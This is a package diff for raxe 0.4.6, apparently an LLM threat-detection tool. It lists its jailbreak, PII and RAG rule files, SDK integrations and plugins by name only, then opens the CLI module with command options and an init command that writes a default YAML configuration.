- raxe/packs/core/v1.0.0/rules/hc/hc-156@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-157@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-158@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-159@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-160@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-161@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-001@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-009@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-020@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-021@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-028@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-033@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-034@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-039@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-066@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-076@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-098@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-103@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-104@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-105@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-110@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-111@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-112@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-113@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-114@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-115@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-116@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-117@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-118@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-119@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-120@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-121@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-122@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-123@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-124@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-125@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-126@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-127@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-128@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-129@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-130@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-131@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-132@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-133@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-134@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-135@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-136@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-137@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-138@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-139@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-140@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-141@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-142@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-143@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-144@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-145@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-146@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-147@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-148@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-149@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-150@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-151@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-152@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-153@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-154@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-155@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-156@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-157@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-158@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-159@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-160@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-161@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-162@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-201@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-203@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-204@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-205@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-206@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-207@1.0.0.yaml +49 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-001@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-009@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-012@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-017@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-025@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-027@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-034@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-037@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-040@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-041@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-050@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-051@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-052@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-053@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-054@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-055@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-056@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-058@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2015@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2025@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2026@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2035@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2037@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2042@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3001@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3002@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3003@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3004@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3005@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3006@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3007@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3008@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3009@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3010@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3011@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3012@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3013@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3014@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3015@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3016@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3017@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3018@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3019@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3020@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3021@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3022@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3023@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3024@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3025@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3026@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3027@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3028@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3029@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3030@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3031@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3032@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3033@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3034@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3035@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3037@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3038@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3039@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3040@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3041@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3042@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3043@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3044@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3045@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3046@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3047@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3048@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3049@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3050@1.0.0.yaml +44 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3051@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3052@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3053@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3054@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3055@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3057@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3058@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3059@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3060@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3061@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3062@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3063@1.0.0.yaml +54 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3064@1.0.0.yaml +78 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3065@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3066@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3067@1.0.0.yaml +88 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3068@1.0.0.yaml +94 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3069@1.0.0.yaml +90 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3070@1.0.0.yaml +99 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3071@1.0.0.yaml +91 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3072@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3073@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3074@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3075@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3076@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3077@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3078@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3079@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3080@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3081@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3082@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3083@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3084@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3085@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-016@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-042@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-045@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-050@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-201@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3001@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3006@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3009@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3012@1.0.0.yaml +41 -0
- raxe/plugins/__init__.py +98 -0
- raxe/plugins/custom_rules.py +380 -0
- raxe/plugins/loader.py +389 -0
- raxe/plugins/manager.py +538 -0
- raxe/plugins/protocol.py +428 -0
- raxe/py.typed +0 -0
- raxe/sdk/__init__.py +77 -0
- raxe/sdk/agent_scanner.py +1918 -0
- raxe/sdk/client.py +1603 -0
- raxe/sdk/decorator.py +175 -0
- raxe/sdk/exceptions.py +859 -0
- raxe/sdk/integrations/__init__.py +277 -0
- raxe/sdk/integrations/agent_scanner.py +71 -0
- raxe/sdk/integrations/autogen.py +872 -0
- raxe/sdk/integrations/crewai.py +1368 -0
- raxe/sdk/integrations/dspy.py +845 -0
- raxe/sdk/integrations/extractors.py +363 -0
- raxe/sdk/integrations/huggingface.py +395 -0
- raxe/sdk/integrations/langchain.py +948 -0
- raxe/sdk/integrations/litellm.py +484 -0
- raxe/sdk/integrations/llamaindex.py +1049 -0
- raxe/sdk/integrations/portkey.py +831 -0
- raxe/sdk/suppression_context.py +215 -0
- raxe/sdk/wrappers/__init__.py +163 -0
- raxe/sdk/wrappers/anthropic.py +310 -0
- raxe/sdk/wrappers/openai.py +221 -0
- raxe/sdk/wrappers/vertexai.py +484 -0
- raxe/utils/__init__.py +12 -0
- raxe/utils/error_sanitizer.py +135 -0
- raxe/utils/logging.py +241 -0
- raxe/utils/performance.py +414 -0
- raxe/utils/profiler.py +339 -0
- raxe/utils/validators.py +170 -0
- raxe-0.4.6.dist-info/METADATA +471 -0
- raxe-0.4.6.dist-info/RECORD +668 -0
- raxe-0.4.6.dist-info/WHEEL +5 -0
- raxe-0.4.6.dist-info/entry_points.txt +2 -0
- raxe-0.4.6.dist-info/licenses/LICENSE +56 -0
- raxe-0.4.6.dist-info/top_level.txt +1 -0
raxe/cli/main.py
ADDED
|
@@ -0,0 +1,1137 @@
|
|
|
1
|
+
"""
|
|
2
|
+
RAXE CLI - Command-line interface.
|
|
3
|
+
|
|
4
|
+
Uses the unified Raxe client internally - no duplicate logic.
|
|
5
|
+
"""
|
|
6
|
+
import json
|
|
7
|
+
import sys
|
|
8
|
+
from pathlib import Path
|
|
9
|
+
|
|
10
|
+
import click
|
|
11
|
+
|
|
12
|
+
from raxe import __version__
|
|
13
|
+
from raxe.cli.auth import auth, auth_link
|
|
14
|
+
from raxe.cli.config import config
|
|
15
|
+
from raxe.cli.doctor import doctor
|
|
16
|
+
from raxe.cli.event import event
|
|
17
|
+
from raxe.cli.error_handler import handle_cli_error
|
|
18
|
+
from raxe.cli.exit_codes import (
|
|
19
|
+
EXIT_CONFIG_ERROR,
|
|
20
|
+
EXIT_INVALID_INPUT,
|
|
21
|
+
EXIT_SCAN_ERROR,
|
|
22
|
+
EXIT_THREAT_DETECTED,
|
|
23
|
+
)
|
|
24
|
+
from raxe.cli.expiry_warning import check_and_display_expiry_warning
|
|
25
|
+
from raxe.cli.export import export
|
|
26
|
+
from raxe.cli.history import history
|
|
27
|
+
from raxe.cli.models import models
|
|
28
|
+
from raxe.cli.output import console, display_error, display_scan_result, display_success
|
|
29
|
+
from raxe.cli.privacy import privacy_command
|
|
30
|
+
from raxe.cli.profiler import profile_command
|
|
31
|
+
from raxe.cli.repl import repl
|
|
32
|
+
from raxe.cli.rules import rules
|
|
33
|
+
from raxe.cli.stats import stats
|
|
34
|
+
from raxe.cli.suppress import suppress
|
|
35
|
+
from raxe.cli.telemetry import telemetry
|
|
36
|
+
from raxe.cli.test import test
|
|
37
|
+
from raxe.cli.tune import tune
|
|
38
|
+
from raxe.cli.validate import validate_rule_command
|
|
39
|
+
from raxe.sdk.client import Raxe
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
# Note: Telemetry flush is now handled by the unified helper:
|
|
43
|
+
# from raxe.infrastructure.telemetry.flush_helper import ensure_telemetry_flushed
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
@click.group(invoke_without_command=True)
|
|
47
|
+
@click.version_option(version=__version__, prog_name="RAXE CLI", message="%(prog)s %(version)s")
|
|
48
|
+
@click.option(
|
|
49
|
+
"--no-color",
|
|
50
|
+
is_flag=True,
|
|
51
|
+
help="Disable colored output",
|
|
52
|
+
envvar="RAXE_NO_COLOR",
|
|
53
|
+
)
|
|
54
|
+
@click.option(
|
|
55
|
+
"--verbose",
|
|
56
|
+
is_flag=True,
|
|
57
|
+
help="Show detailed logs (enables console logging)",
|
|
58
|
+
envvar="RAXE_VERBOSE",
|
|
59
|
+
)
|
|
60
|
+
@click.option(
|
|
61
|
+
"--quiet",
|
|
62
|
+
is_flag=True,
|
|
63
|
+
help="Suppress all visual output (for CI/CD)",
|
|
64
|
+
envvar="RAXE_QUIET",
|
|
65
|
+
)
|
|
66
|
+
@click.pass_context
|
|
67
|
+
def cli(ctx, no_color: bool, verbose: bool, quiet: bool):
|
|
68
|
+
"""RAXE - AI Security for LLMs • Privacy-First Threat Detection"""
|
|
69
|
+
# Flush any stale telemetry from previous sessions (non-blocking background thread)
|
|
70
|
+
# This recovers events that were queued but not flushed due to crashes or improper exit
|
|
71
|
+
try:
|
|
72
|
+
from raxe.infrastructure.telemetry.flush_helper import flush_stale_telemetry_async
|
|
73
|
+
flush_stale_telemetry_async()
|
|
74
|
+
except Exception:
|
|
75
|
+
pass # Never block CLI startup
|
|
76
|
+
|
|
77
|
+
# Ensure ctx.obj exists for sub-commands
|
|
78
|
+
ctx.ensure_object(dict)
|
|
79
|
+
ctx.obj["no_color"] = no_color or quiet # Quiet implies no color
|
|
80
|
+
ctx.obj["verbose"] = verbose and not quiet # Quiet overrides verbose
|
|
81
|
+
ctx.obj["quiet"] = quiet
|
|
82
|
+
|
|
83
|
+
# Show welcome banner if no command provided (unless quiet)
|
|
84
|
+
if ctx.invoked_subcommand is None:
|
|
85
|
+
if not quiet:
|
|
86
|
+
# Check if this is a first run
|
|
87
|
+
from raxe.cli.setup_wizard import check_first_run, display_first_run_message
|
|
88
|
+
|
|
89
|
+
if check_first_run():
|
|
90
|
+
display_first_run_message(console)
|
|
91
|
+
else:
|
|
92
|
+
from raxe.cli.branding import print_help_menu
|
|
93
|
+
print_help_menu(console)
|
|
94
|
+
ctx.exit()
|
|
95
|
+
|
|
96
|
+
# Track command usage (record the invoked command name)
|
|
97
|
+
if ctx.invoked_subcommand:
|
|
98
|
+
try:
|
|
99
|
+
from raxe.infrastructure.tracking.usage import UsageTracker
|
|
100
|
+
tracker = UsageTracker()
|
|
101
|
+
tracker.record_command(ctx.invoked_subcommand)
|
|
102
|
+
except Exception:
|
|
103
|
+
# Don't fail if tracking fails
|
|
104
|
+
pass
|
|
105
|
+
|
|
106
|
+
# Enable console logging if verbose flag set
|
|
107
|
+
if verbose:
|
|
108
|
+
import os
|
|
109
|
+
os.environ["RAXE_ENABLE_CONSOLE_LOGGING"] = "true"
|
|
110
|
+
|
|
111
|
+
# Reconfigure logging to enable console output
|
|
112
|
+
from raxe.utils.logging import setup_logging
|
|
113
|
+
setup_logging(enable_console_logging=True)
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
@cli.command()
|
|
117
|
+
@click.option(
|
|
118
|
+
"--api-key",
|
|
119
|
+
help="RAXE API key (optional, for cloud features)",
|
|
120
|
+
envvar="RAXE_API_KEY",
|
|
121
|
+
)
|
|
122
|
+
@click.option(
|
|
123
|
+
"--telemetry/--no-telemetry",
|
|
124
|
+
default=True,
|
|
125
|
+
help="Enable privacy-preserving telemetry (default: enabled)",
|
|
126
|
+
)
|
|
127
|
+
@click.option(
|
|
128
|
+
"--force",
|
|
129
|
+
is_flag=True,
|
|
130
|
+
help="Overwrite existing configuration",
|
|
131
|
+
)
|
|
132
|
+
@handle_cli_error
|
|
133
|
+
def init(api_key: str | None, telemetry: bool, force: bool):
|
|
134
|
+
"""Initialize RAXE configuration with interactive setup."""
|
|
135
|
+
from rich.panel import Panel
|
|
136
|
+
from rich.text import Text
|
|
137
|
+
|
|
138
|
+
from raxe.cli.branding import print_info, print_logo, print_success
|
|
139
|
+
|
|
140
|
+
config_dir = Path.home() / ".raxe"
|
|
141
|
+
config_file = config_dir / "config.yaml"
|
|
142
|
+
|
|
143
|
+
# Show compact logo
|
|
144
|
+
print_logo(console, compact=True)
|
|
145
|
+
console.print()
|
|
146
|
+
console.print("🔧 [bold cyan]RAXE Initialization[/bold cyan]")
|
|
147
|
+
console.print()
|
|
148
|
+
|
|
149
|
+
# Check if already initialized
|
|
150
|
+
if config_file.exists() and not force:
|
|
151
|
+
print_success(console, f"RAXE already initialized at {config_file}")
|
|
152
|
+
print_info(console, "Use --force to overwrite existing configuration")
|
|
153
|
+
return
|
|
154
|
+
|
|
155
|
+
# Create config directory
|
|
156
|
+
config_dir.mkdir(parents=True, exist_ok=True)
|
|
157
|
+
|
|
158
|
+
# Show configuration summary
|
|
159
|
+
summary = Text()
|
|
160
|
+
summary.append("Configuration Summary:\n\n", style="bold cyan")
|
|
161
|
+
summary.append(" 📂 Location: ", style="white")
|
|
162
|
+
summary.append(f"{config_file}\n", style="cyan")
|
|
163
|
+
summary.append(" 🔑 API Key: ", style="white")
|
|
164
|
+
summary.append(f"{api_key if api_key else 'Not configured (optional)'}\n", style="yellow" if not api_key else "green")
|
|
165
|
+
summary.append(" 📊 Telemetry: ", style="white")
|
|
166
|
+
summary.append(f"{'Enabled' if telemetry else 'Disabled'}\n", style="green" if telemetry else "yellow")
|
|
167
|
+
summary.append(" ⚡ Performance: ", style="white")
|
|
168
|
+
summary.append("Balanced mode with L2 detection\n", style="cyan")
|
|
169
|
+
|
|
170
|
+
console.print(Panel(summary, border_style="cyan", padding=(1, 2)))
|
|
171
|
+
console.print()
|
|
172
|
+
|
|
173
|
+
# Generate config
|
|
174
|
+
config_content = f"""# RAXE Configuration
|
|
175
|
+
version: 1.0.0
|
|
176
|
+
|
|
177
|
+
# API Key (optional - for cloud features)
|
|
178
|
+
{"api_key: " + api_key if api_key else "# api_key: raxe_test_customer123_abc456"}
|
|
179
|
+
|
|
180
|
+
# Telemetry (privacy-preserving, only hashes sent)
|
|
181
|
+
telemetry:
|
|
182
|
+
enabled: {str(telemetry).lower()}
|
|
183
|
+
endpoint: https://api.beta.raxe.ai/v1/telemetry
|
|
184
|
+
|
|
185
|
+
# Performance
|
|
186
|
+
performance:
|
|
187
|
+
mode: balanced # fast, balanced, accurate
|
|
188
|
+
l2_enabled: true
|
|
189
|
+
max_latency_ms: 10
|
|
190
|
+
|
|
191
|
+
# Pack precedence (custom > community > core)
|
|
192
|
+
packs:
|
|
193
|
+
precedence:
|
|
194
|
+
- custom
|
|
195
|
+
- community
|
|
196
|
+
- core
|
|
197
|
+
|
|
198
|
+
# Policy source
|
|
199
|
+
policies:
|
|
200
|
+
source: local_file # local_file, api, inline
|
|
201
|
+
path: .raxe/policies.yaml
|
|
202
|
+
"""
|
|
203
|
+
|
|
204
|
+
config_file.write_text(config_content)
|
|
205
|
+
|
|
206
|
+
print_success(console, "RAXE initialized successfully!")
|
|
207
|
+
console.print()
|
|
208
|
+
|
|
209
|
+
# Next steps panel
|
|
210
|
+
next_steps = Text()
|
|
211
|
+
next_steps.append("Quick Start:\n\n", style="bold cyan")
|
|
212
|
+
next_steps.append(" 1️⃣ ", style="white")
|
|
213
|
+
next_steps.append('raxe scan "your text here"\n', style="cyan")
|
|
214
|
+
next_steps.append(" Scan text for security threats\n\n", style="dim")
|
|
215
|
+
next_steps.append(" 2️⃣ ", style="white")
|
|
216
|
+
next_steps.append('raxe test\n', style="cyan")
|
|
217
|
+
next_steps.append(" Test your configuration\n\n", style="dim")
|
|
218
|
+
next_steps.append(" 3️⃣ ", style="white")
|
|
219
|
+
next_steps.append('raxe stats\n', style="cyan")
|
|
220
|
+
next_steps.append(" View statistics & achievements\n\n", style="dim")
|
|
221
|
+
next_steps.append(" 📚 ", style="white")
|
|
222
|
+
next_steps.append('https://docs.raxe.ai\n', style="cyan underline")
|
|
223
|
+
